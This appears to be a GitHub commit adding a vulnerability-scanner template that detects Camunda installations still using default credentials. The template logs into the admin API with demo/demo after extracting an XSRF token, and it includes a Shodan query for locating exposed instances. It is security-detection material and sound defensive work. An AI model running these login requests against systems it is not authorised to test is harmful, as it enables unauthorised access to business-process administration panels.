Merge pull request #8918 from bhutch/camunda-default-credential

Create camunda-default-credential.yaml
patch-1
pussycat0x 2024-01-11 11:31:46 +05:30 committed by GitHub
commit 2fb44a40ee
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 62 additions and 0 deletions

View File

@ -0,0 +1,62 @@
id: camunda-default-login
info:
name: Camunda - Default Login
author: bhutch
severity: high
description: |
Camunda login panel contains a default login vulnerability.
reference:
- https://github.com/camunda/camunda-docs-manual/blob/master/content/webapps/admin/user-management.md
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
verified: true
shodan-query: http.html:"Camunda Welcome"
tags: default-login,camunda
http:
- raw:
- |
GET /camunda/app/welcome/default/ HTTP/1.1
Host: {{Hostname}}
- |
POST /camunda/api/admin/auth/user/default/login/welcome HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: application/json, text/plain, */*
X-Xsrf-Token: {{xsrf_token}}
username={{username}}&password={{password}}
attack: pitchfork
payloads:
username:
- demo
password:
- demo
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"userId"'
- '"authorizedApps"'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: xsrf_token
group: 1
internal: true
part: header
regex:
- '(?i)Set-Cookie: XSRF-TOKEN=([A-Za-z0-9_.-]+)'